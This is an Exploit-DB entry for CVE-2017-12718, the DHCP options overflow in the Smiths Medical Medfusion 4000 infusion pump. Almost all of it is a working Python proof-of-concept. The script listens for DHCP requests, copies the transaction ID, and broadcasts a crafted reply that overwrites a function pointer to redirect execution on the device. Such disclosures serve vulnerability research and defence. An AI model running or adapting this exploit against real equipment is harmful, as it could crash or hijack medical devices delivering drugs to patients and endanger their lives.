Smiths Medical Medfusion 4000 - 'DHCP' Denial of Service

EDB-ID: 43776
Author: Scott Gayou
Published: 2018-01-18
CVE: CVE-2017-12718
Type: Dos
Platform: Hardware
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 """PoC for MQX RTCS code execution via DHCP options overflow. 

This is just a quick hack to prove the vulnerability and was designed to run
on a private network with the target device.
"""

import datetime
import socket

def main():
"""Use a default valid DHCP packet to overwrite an event function pointer."""
execute_addr = 0xFFFFFFFF
exploit_pkt = bytearray.fromhex(' \
02 01 06 00 a5 d3 0b 2f 00 00 80 00 00 00 00 00 \
ff ff ff ff ff ff ff ff 00 00 00 00 ff ff ff ff \
ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 63 82 53 63 \
35 01 02 36 04 ff ff ff ff 01 04 ff ff ff 00 43 \
98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \
00 00 00 00 00 ff ff ff ff ff')

exploit_pkt[0x195:0x199] = execute_addr.to_bytes(4, byteorder='big')

recv_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
recv_sock.bind(('', 67))

send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
send_sock.bind(('', 68))

send_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
send_sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)

while True:
print("{}: Waiting for DHCP packet...".format(datetime.datetime.now()))
# Transaction IDs need to match else RTCS will throw out the packet.
data = recv_sock.recvfrom(1024)[0]
exploit_pkt[4:8] = data[4:8]
send_sock.sendto(exploit_pkt, ('<broadcast>', 68))
print("{}: Transmitted 0x{:X} PC redirection packet.".format(
datetime.datetime.now(), execute_addr))

if __name__ == "__main__":
main()

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